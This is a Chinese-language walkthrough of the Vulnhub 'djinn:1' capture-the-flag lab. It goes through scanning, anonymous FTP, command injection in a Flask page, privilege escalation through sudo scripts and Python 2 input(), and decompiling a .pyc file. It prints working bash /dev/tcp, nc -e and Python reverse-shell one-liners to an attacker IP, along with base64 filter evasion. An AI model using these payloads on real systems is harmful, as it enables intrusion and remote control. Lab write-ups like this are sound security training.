MENU

djinn:1-Vulnhub Walkthrough

靶机地址

靶机难度:中等
flag数:2

工具及漏洞信息

  • netdiscover
  • nmap
  • gobuster
  • ftp匿名登录下载文件
  • echo的bash和python反弹shell
  • nc连接指定ip做题脚本
  • sudo -l查看当前用户权限
  • .pyc文件反编译
  • input()函数漏洞
  • nc传输文件

0x01信息收集

扫描靶机

netdiscover-r参数扫描192.168.1.0/16或者路由器管理界面查看有线连接的设备得到靶机ip

nmap扫描主机及端口信息:

nmap -sS -A -n -T4 -p- 192.168.1.7

21ftp服务貌似可以匿名登录,因为nmap直接给出了ftp连接上后的文件内容

那我们ftp连接一下,查看一下这三个文件的内容:

使用ftp ip命令连接ftp服务器,用户名为匿名:anonymous,密码直接回车即可登录

使用mget *.*下载所有文件,会确认你是否要下载,直接回车就可以,也可以直接在ftp交互端cat查看:

得到的信息似乎是一个账号和密码,还有提示我们我们1337是一个游戏

ssh的端口状态为filtered就不折腾了

除此之外还有13377331两个端口

1337端口的指纹信息写着:

Let's see how good you are with simple maths
Answer my questions 1000 times and I'll give you your gift

猜测是CTF中常见的nc连接然后反弹数学题的操作,和我们上面得到的信息差不多

后面有时间的话会放一个脚本

7331扫描出的信息中包含http-server-headerhttp-title字段,猜测http服务开在这个端口

打开看一下,果然是:

扫描漏洞信息

nmap扫描漏洞信息:

cd /usr/share/nmap/scripts/
git clone https://github.com/vulnersCom/nmap-vulners
nmap --script nmap-vulners -sV 192.168.1.7

没有啥可以利用的

扫描路径

刚才扫描我们已经知道了web服务不在默认的80端口而是7331,所以扫描的时候也要记得改

gobuster 扫描路径:

gobuster dir -u http://192.168.1.7:7331/ -s 200,301,302 -t 50 -q -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip

dirbuster的字典可以通过下载dirbuster原包,然后把字典移入这个目录:

wget https://nchc.dl.sourceforge.net/project/dirbuster/DirBuster%20%28jar%20%2B%20lists%29/1.0-RC1/DirBuster-1.0-RC1.tar.bz2
tar -jxf DirBuster-1.0-RC1.tar.bz2
cd DirBuster-1.0-RC1/ && mkdir /usr/share/wordlists/dirbuster/ && mv *.txt /usr/share/wordlists/dirbuster/

扫描出两个目录/wish/genie,访问ip:7331/wish如下:

随便输入东西之后发现跳转到ip:7331/genie?name=后面接上执行的命令,猜测此处存在系统命令注入

0x02网站身份getshell

既然能执行系统命令,那就直接nc反弹一个shell

msf中快速开启监听:handler -H 192.168.1.11 -P 3333 -p cmd/unix/reverse_bash

ip:7331/wish中输入nc -t -e /bin/bash 192.168.1.11 3333

结果跳转到genie?name=Wrong+choice+of+words,说明屏蔽了关键词

配合burpsuite来探测屏蔽的关键词

  • 测试ls得到网站根目录的文件和目录如下(%0A是回车的URL编码)

    • app.py
    • app.pyc
    • static/
    • templates/

ls -lah也能正常运行,说明没有屏蔽空格

whoami能正常的到结果www-data

uname -a知道了这是台Ubuntu:

echo whoami可以执行,于是尝试使用

bash -i >& /dev/tcp/192.168.1.11/3333 0>&1
  • bash -i 表示产生一个bash的交互环境
  • 0>&1 将标准输入域标准输出内容相结合,然后重定向给前面的标准输出内容

或者用python来反弹shell也可以:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.11",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

将上面的命令用base64加密然后在burp出输入以下命令:

echo 加密的内容 | base64 -d | bash

注意,此处由于网页上执行和burp执行有编码的差异,建议如果在burp上执行的话再把空格和加号用URL编码一下

测试后发现python能反弹shell

0x03 普通用户getshell

拿到执行网站的用户的shell之后第一步当然是查看当前目录文件:

和我们前面用burp拦截得到的结果一样,查看了/etc/passwd得到两个用户samnitish

但是他们用户目录下的文件没有查看权限

于是回到网站根目录来,查看一下app.py文件的内容:

大致内容是刚才拦截我们的函数代码,除此之外还得到一个信息:

/home/nitish/.dev/creds.txt

查看这个文件:

得到了nitish账户的密码p4ssw0rdStr3r0n9,登录用户之前记得要开启标准的tty:

python -c 'import pty; pty.spawn("/bin/bash")'

nitish用户目录下获取到第一个flag

0x04提权root

查看一下当前用户能执行哪些sudo的命令:

当前的nithsh账户可以在不使用密码的情况下执行sam用户的genie脚本

看一下genie的用法:

有个-p参数写能给我们提供shell,尝试一下:

sudo -u sam genie -p "/bin/sh"

-e-p参数都没用,再用strings命令查看/usr/bin/genie的内容

最终知道了还有个参数-cmd,执行命令获得samshell:

sudo -u sam /usr/bin/genie -cmd id

当前账户成功切换为sam,那么再来看下sam能以sudo执行什么命令:

sam可以执行lago脚本,来执行一下看一下:

第一个Be naughty:

没啥乱用,第二个Guess the number:

百分之一的概率,似乎比1337端口好弄一点,而且pythoninput()的话是有漏洞的

第三个Read some damn files

可以读文件,但是需要知道路径,第四个Work:

也没啥卵用,再试一下猜数字,不输入数字,输入其他的:

发现竟然在输入num之后能查看/root目录了,执行/root/proof.sh获得rootflag

0x05获取shell原因解密

我们这纯属瞎猫碰死耗子,其实应该是找到python文件的编译文件pyc

pyc是一种二进制文件,是由Python 文件经过编译后所生成的文件

然后反编译出原来的.py文件,然后再找input漏洞的,常见的例子如下:

也就是没有对输入的字符进行检测,直接按字符串处理,等于设定好的字符串即输出结果

所以我们输入num恰好成功说明Guess the number的函数代码差不多是这么写的:

def guess_the_number():
    input_number = input("Choose a number between 1 to 100:\nEnter your number:")
    if num == input_number:
        return True

我这里尝试反编译一下看是不是,查看sam的用户目录:

找到一个.pyc文件,尝试把它反编译成.py文件

先把它传输到攻击机,这里使用nc

靶机开启监听端口并传输文件:nc -lvp 3456 < .pyc

目标机连接靶机并接收文件:nc 192.168.1.6 3456 > .pyc

等待几秒之后直接在靶机端ctrl+c结束即可

随后我们用uncompyle6反编译.pyc,它是uncompyle2的继承者

uncompyle2只专注于python2.7,虽然有时候准确率比uncompyle6

但是大部分情况下还是uncompyle6准确率高,而且它已经几乎不再维护了

uncompyle6支持几乎你能见到的所有python版本,安装如下:

proxychains git clone https://github.com/rocky/python-uncompyle6
cd python-uncompyle6/
pip install -e .
python setup.py install

就安装完成了,反编译我们的.pyc:

uncompyle6 .pyc -o exp.py

果然和我前面猜测的差不多

参考文章:

本文完。

最后编辑于: 2020 年 02 月 29 日